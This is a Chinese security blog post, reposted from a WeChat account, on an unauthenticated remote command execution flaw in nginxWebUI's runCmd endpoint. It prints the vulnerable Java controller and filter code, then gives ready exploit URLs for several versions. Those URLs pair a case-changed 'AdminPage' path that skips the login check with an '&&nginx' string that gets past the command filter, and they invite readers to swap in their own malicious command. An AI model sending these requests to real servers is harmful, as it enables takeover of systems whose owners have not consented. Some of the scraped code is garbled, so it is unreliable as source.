在野0day nginxWebUI runCmd 远程代码执行漏洞

admin 2023年6月30日00:14:50评论146 views字数 5945阅读19分49秒阅读模式

一、漏洞描述

nginxWebUI是一款图形化管理nginx配置的工具,能通过网页快速配置nginx的各种功能,包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置,配置完成后可以一键生成nginx.conf文件,并控制nginx使用此文件进行启动和重载。 

nginxWebUI后台提供执行nginx相关命令的接口,由于未对用户的输入进行过滤,导致可在后台执行任意命令。并且该系统权限校验存在问题,导致存在权限绕过,在前台可直接调用后台接口,最终可以达到无条件远程命令执行的效果。

二、影响版本

nginxWebUI <= 3.5.2 未授权命令执行漏洞(网上公开为3.5.0 但下载后发现作者已删除GITEE中3.5.0的相应代码,下载3.5.0版本jar包反编译后发现并没有对权限绕过进行修复) 

nginxWebUI 全版本均存在命令执行漏洞(文章截止最新版3.6.0)

三、漏洞详情

任意命令执行

3.4.7 之前版本

漏洞存在点:com/cym/controller/adminPage/ConfController.java(3.4.7版本之前)

@Controller@Mapping("/adminPage/conf")public class ConfController extends BaseController {    ...    @Mapping(value = "runCmd")    public JsonResult runCmd(String cmd, String type) {        if (StrUtil.isNotEmpty(type)) {            settingService.set(type, cmd);        }
try { String rs = ""; if (SystemTool.isWindows()) { RuntimeUtil.exec("cmd /c start " + cmd); } else { rs = RuntimeUtil.execForStr("/bin/sh", "-c", cmd); }
cmd = "<span class='blue'>" + cmd + "</span>"; if (StrUtil.isEmpty(rs) || rs.contains("已终止进程") // || rs.contains("signal process started") // || rs.toLowerCase().contains("terminated process") // || rs.toLowerCase().contains("starting") // || rs.toLowerCase().contains("stopping")) { return renderSuccess(cmd + "<br>" + m.get("confStr.runSuccess") + "<br>" + rs.replace("n", "<br>")); } else { return renderSuccess(cmd + "<br>" + m.get("confStr.runFail") + "<br>" + rs.replace("n", "<br>")); } } catch (Exception e) { logger.error(e.getMessage(), e); return renderSuccess(m.get("confStr.runFail") + "<br>" + e.getMessage().replace("n", "<br>")); } }

ConfController#runCmd()方法中对传入 cmd 参数直接拼接到命令后执行命令

payload:

http://localhost:8080/AdminPage/conf/runCmd?cmd=calc

3.4.7 及之后版本

漏洞存在点:com/cym/controller/adminPage/ConfController.java(3.4.7版本之后)

@Controller@Mapping("/adminPage/conf")public class ConfController extends BaseController {    ...    @Mapping(value = "runCmd")    ///adminPage/conf/runCmd?cmd=恶意命令    public JsonResult runCmd(String cmd, String type) {        if (StrUtil.isNotEmpty(type)) {            settingService.set(type, cmd);        }
try { String rs = ""; // 过滤特殊字符,防止命令拼接 cmd = cmd.replaceAll(";","\\;"); cmd = cmd.replaceAll("`","\\`"); cmd = cmd.replaceAll("\|","\\|"); cmd = cmd.replaceAll("\{","\\{"); cmd = cmd.replaceAll("\}","\\}"); //仅执行nginx相关的命令,而不是其他的恶意命令 if(!cmd.contains("nginx")){ cmd = "nginx restart"; } if (SystemTool.isWindows()) { RuntimeUtil.exec("cmd /c start " + cmd); } else { rs = RuntimeUtil.execForStr("/bin/sh", "-c", cmd); }
cmd = "<span class='blue'>" + cmd + "</span>"; if (StrUtil.isEmpty(rs) || rs.contains("已终止进程") // || rs.contains("signal process started") // || rs.toLowerCase().contains("terminated process") // || rs.toLowerCase().contains("starting") // || rs.toLowerCase().contains("stopping")) { return renderSuccess(cmd + "<br>" + m.get("confStr.runSuccess") + "<br>" + rs.replace("n", "<br>")); } else { return renderSuccess(cmd + "<br>" + m.get("confStr.runFail") + "<br>" + rs.replace("n", "<br>")); } } catch (Exception e) { logger.error(e.getMessage(), e); return renderSuccess(m.get("confStr.runFail") + "<br>" + e.getMessage().replace("n", "<br>")); } } ...}

ConfController#runCmd()方法中对传入 cmd 进行过滤后拼接到命令后执行命令,绕过过滤需满足以下要求:

1.cmd 参数中存在 nginx2.";" "" "|" "{" "}"`被过滤,可使用 & 绕过

payload:

http://localhost:8080/AdminPage/conf/runCmd?cmd=calc%26%26nginx

权限绕过

3.5.2 之前版本

NginxWebUi 使用Solon开发框架,NginxWebUi 权限校验为com/cym/config/AppFilter.java

@Componentpublic class AppFilter implements Filter {
... @Override public void doFilter(Context ctx, FilterChain chain) throws Throwable { // 全局过滤器 if (!ctx.path().contains("/lib/") // && !ctx.path().contains("/js/") // && !ctx.path().contains("/doc/") // && !ctx.path().contains("/img/") // && !ctx.path().contains("/css/")) { frontInterceptor(ctx); }
// 登录过滤器 if (ctx.path().contains("/adminPage/") // && !ctx.path().contains("/lib/") // && !ctx.path().contains("/doc/") // && !ctx.path().contains("/js/") // && !ctx.path().contains("/img/") // && !ctx.path().contains("/css/")) { if (!adminInterceptor(ctx)) { // 设置为已处理 ctx.setHandled(true); return; } }
// api过滤器 if (ctx.path().contains("/api/") // && !ctx.path().contains("/lib/") // && !ctx.path().contains("/doc/") // && !ctx.path().contains("/js/") // && !ctx.path().contains("/img/") // && !ctx.path().contains("/css/")) { if (!apiInterceptor(ctx)) { // 设置为已处理 ctx.setHandled(true); return; } }
chain.doFilter(ctx);
} ...}

根据以上源码可知若访问path 中包含 /lib/ /adminPage/ /api/且不包含/lib/ /doc/ /js/ /img/ /css/则进行权限校验,又因Solon 对大小写不敏感[1],故可使用大小写绕过权限校验

3.5.2 之后版本

@Componentpublic class AppFilter implements Filter {    Logger logger = LoggerFactory.getLogger(this.getClass());    @Inject    AdminService adminService;    @Inject    MessageUtils m;    @Inject    CreditService creditService;    @Inject("${solon.app.name}")    String projectName;
@Inject VersionConfig versionConfig;
@Inject PropertiesUtils propertiesUtils; @Inject SettingService settingService;
@Override public void doFilter(Context ctx, FilterChain chain) throws Throwable {
String path = ctx.path().toLowerCase();
// 全局过滤器 if (!path.contains("/lib/") // && !path.toLowerCase().contains("/js/") // && !path.toLowerCase().contains("/doc/") // && !path.toLowerCase().contains("/img/") // && !path.toLowerCase().contains("/css/")) { frontInterceptor(ctx); }
// 登录过滤器 if (path.toLowerCase().contains("/adminPage/".toLowerCase()) // && !path.contains("/lib/") // && !path.contains("/doc/") // && !path.contains("/js/") // && !path.contains("/img/") // && !path.contains("/css/")) { if (!adminInterceptor(ctx)) { // 设置为已处理 ctx.setHandled(true); return; } }
// api过滤器 if (path.toLowerCase().contains("/api/") // && !path.contains("/lib/") // && !path.contains("/doc/") // && !path.contains("/js/") // && !path.contains("/img/") // && !path.contains("/css/")) { if (!apiInterceptor(ctx)) { // 设置为已处理 ctx.setHandled(true); return; } }
chain.doFilter(ctx);
}}

3.5.0之后先对 path 进行处理再进行判断,权限绕过失败

四、漏洞利用

3.4.7 之前版本

http://localhost:8080/AdminPage/conf/runCmd?cmd=calc

注:

原始路径为:adminPage/conf/runCmd?cmd=calc%26%26nginx 只需更改大小写使adminPage不为adminPage即可绕过权限校验calc 为要执行的恶意命令请自行更换

3.4.7 -- 3.5.2

http://localhost:8080/AdminPage/conf/runCmd?cmd=calc%26%26nginx

注:

原始路径为:adminPage/conf/runCmd?cmd=calc%26%26nginx 只需更改大小写使adminPage不为adminPage即可绕过权限校验calc 为要执行的恶意命令请自行更换作者已删除GITEE中3.5.0的相应代码,下载3.5.0版本jar包反编译后发现并没有对权限绕过进行修复

3.5.2 之后版本

3.5.2之后严格大小写,需登录后才可执行任意命令

http://localhost:8080/adminPage/conf/runCmd?cmd=calc%26%26nginx


如您有问题、建议、需求、合作、加群交流请后台留言或添加微信

在野0day nginxWebUI runCmd 远程代码执行漏洞
image.png


References

[1] Solon 对大小写不敏感: https://solon.noear.org/article/504


原文始发于微信公众号(白给信安):在野0day nginxWebUI runCmd 远程代码执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月30日00:14:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   在野0day nginxWebUI runCmd 远程代码执行漏洞https://cn-sec.com/archives/1842480.html

发表评论

匿名网友 填写信息